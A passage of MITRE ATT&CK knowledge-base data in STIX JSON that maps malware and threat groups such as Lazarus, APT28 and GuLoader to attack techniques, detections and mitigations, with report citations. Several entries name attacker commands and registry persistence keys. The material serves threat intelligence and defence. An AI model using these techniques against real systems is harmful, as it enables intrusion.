Turla)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d013882b-1092-46e4-8c07-f74e5ca2df97","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor for files that write or overwrite many files to a network shared directory may be suspicious.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0144271-c8e4-4cb3-b977-17b750c7193d","created":"2023-03-31T19:19:18.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T19:29:02.782Z","description":"[Royal](https://attack.mitre.org/software/S1073) can use multiple APIs for discovery, communication, and execution.(Citation: Cybereason Royal December 2022)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d0146a8e-8658-40c4-8232-bec51e1ab9a2","created":"2022-06-03T14:57:02.890Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) can use a VBA macro to decode its payload prior to installation and execution.(Citation: SecureWorks August 2019)","modified":"2022-06-03T15:00:15.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d014d8e1-b12e-4b85-84ee-ff4338c54393","type":"relationship","created":"2019-01-30T15:33:07.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-18T19:26:31.570Z","description":"[APT1](https://attack.mitre.org/groups/G0006) used the commands net localgroup,net user, and net group to find accounts on the system.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0162247-12e2-4c0e-8efe-d5c4823e0fcd","type":"relationship","created":"2021-02-08T23:18:31.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.892Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can enumerate existing Windows services on the host that are configured to run as LocalSystem.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d01869cb-74bb-4ad9-ac5e-9c7706f323d1","type":"relationship","created":"2020-03-19T22:38:12.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-25T15:54:59.437Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) collects Windows account hashes.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d01bca45-9fa9-442a-b217-45aed5882604","created":"2023-10-03T03:35:25.298Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T03:35:25.298Z","description":"Monitor for missing log files hosts and services with known active periods.","relationship_type":"detects","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d021d378-a5ff-4020-972c-cc9152e824b0","type":"relationship","created":"2017-05-31T21:33:27.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.","source_name":"Kaspersky Darkhotel"}],"modified":"2020-03-16T20:05:43.636Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has been known to establish persistence by adding programs to the Run Registry key.(Citation: Kaspersky Darkhotel)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0228817-aba0-46c8-9449-de757f9238ac","type":"relationship","created":"2022-03-26T03:47:59.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T13:21:39.640Z","description":"[Mythic](https://attack.mitre.org/software/S0699) can use SOCKS proxies to tunnel traffic through another protocol.(Citation: Mythc Documentation)","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d02d208e-2b9a-4613-bc89-df3953ad9576","type":"relationship","created":"2021-01-11T21:08:24.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 NETWIRE April 2020","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."}],"modified":"2021-01-11T21:08:24.809Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) can establish persistence via the Registry under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce.(Citation: Unit 42 NETWIRE April 2020)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d02e8b78-69e7-4c70-bab1-a5bec9f94a9a","created":"2022-03-25T20:00:53.876Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to overwrite its own file with random bites.(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-15T01:40:04.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0327dce-ca02-48ba-8830-85fcc574113c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee GhostSecret","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"}],"modified":"2019-09-09T19:15:45.223Z","description":"A Destover-like implant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) can obtain the current system time and send it to the C2 server.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d032ba7f-4dee-4a98-b400-86e2eb0ee918","created":"2019-04-12T15:20:35.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.992Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used DYEPACK to create, delete, and alter records in databases used for SWIFT transactions.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0332cfa-d932-4bc3-b661-9cd72c00b390","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T14:56:44.511Z","description":"[SPACESHIP](https://attack.mitre.org/software/S0035) identifies files and directories for collection by searching for specific file extensions or file modification time.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--8b880b41-5139-4807-baa9-309690218719","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d034608f-da90-4248-ba3b-848e93805115","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for newly executed processes ","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d039cf20-a85b-4179-b164-6200decb9bd8","type":"relationship","created":"2020-02-20T19:11:15.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T15:32:18.230Z","description":"Follow best practices in restricting access to privileged accounts to avoid hostile programs from accessing sensitive information.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d03e6e8b-bc2e-4c7b-8cde-58987659fbbb","type":"relationship","created":"2019-04-19T15:30:36.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2020-03-28T00:57:03.184Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has modified the firewall using [netsh](https://attack.mitre.org/software/S0108).(Citation: US-CERT HOPLIGHT Apr 2019)\t","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d041fce9-6e05-4f74-a97e-c71f1b270fb8","type":"relationship","created":"2021-04-22T13:40:21.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2021-04-22T13:40:21.174Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can collect credentials from the Windows Credential Manager.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0460046-cd33-46b4-948e-1f46139eec6e","created":"2024-08-01T23:19:09.709Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T23:19:09.709Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) checks the privileges of running processes to determine if the running user is equivalent to `NT Authority\\System`.(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d04af539-cfb6-4662-8d5a-82dc85cfab1b","created":"2022-06-14T15:25:50.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:19:29.555Z","description":"[Kevin](https://attack.mitre.org/software/S1020) has renamed an image of `cmd.exe` with a random name followed by a `.tmpl` extension.(Citation: Kaspersky Lyceum October 2021)","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d04d6101-f6f6-42a2-8679-351956b75228","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"FireEye FIN7 March 2017","url":"https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[POWERSOURCE](https://attack.mitre.org/software/S0145) has been observed being used to download [TEXTMATE](https://attack.mitre.org/software/S0146) and the Cobalt Strike Beacon payload onto victims.(Citation: FireEye FIN7 March 2017)","modified":"2022-07-20T20:06:44.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--17e919aa-4a49-445c-b103-dbb8df9e7351","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d04d88d0-541d-4da2-ac58-888f1d418f20","created":"2022-04-07T18:28:15.795Z","x_mitre_version":"0.1","external_references":[{"source_name":"Uptycs Confucius APT Jan 2021","url":"https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) has been install via template injection through a malicious DLL embedded within a template RTF in a Word document.(Citation: Uptycs Confucius APT Jan 2021)","modified":"2022-06-30T20:15:32.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d04f953e-d7f6-4581-860b-2ff5378a636d","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for unexpected files (i.e. .pdf, .docx, .jpg, etc.) interacting with network shares.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0560e25-020d-4cd6-b61c-5fc82a757edc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/","description":"Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.","source_name":"Palo Alto Office Test Sofacy"}],"modified":"2020-01-22T15:13:25.136Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key HKCU\\Software\\Microsoft\\Office test\\Special\\Perf to execute code.(Citation: Palo Alto Office Test Sofacy)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d0592d8b-cb1e-431f-a27e-1412892ca030","created":"2021-01-04T20:42:22.163Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2017","url":"https://dragos.com/blog/crashoverride/CrashOverride-01.pdf","description":"Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) collects the victim machine’s Windows GUID.(Citation: Dragos Crashoverride 2017)","modified":"2022-06-30T20:16:22.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d060e004-9eb7-425e-924c-0555fa80e083","type":"relationship","created":"2019-04-19T15:30:36.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.470Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed collecting system time from victim machines.(Citation: US-CERT HOPLIGHT Apr 2019)","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d061e030-6ad7-457d-a909-5ca6f7282762","type":"relationship","created":"2020-10-01T00:51:28.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T00:51:28.557Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d06420fb-1c4d-4a4e-b18e-4c0750310606","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos MuddyWater May 2019","description":"Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.","url":"https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html"},{"source_name":"ClearSky MuddyWater June 2019","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020.","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"Securelist MuddyWater Oct 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/"},{"source_name":"Unit 42 MuddyWater Nov 2017","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"},{"source_name":"Talos MuddyWater Jan 2022","description":"Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.","url":"https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"},{"source_name":"Anomali Static Kitten February 2021","description":"Mele, G. et al. (2021, February 10). Probable Iranian 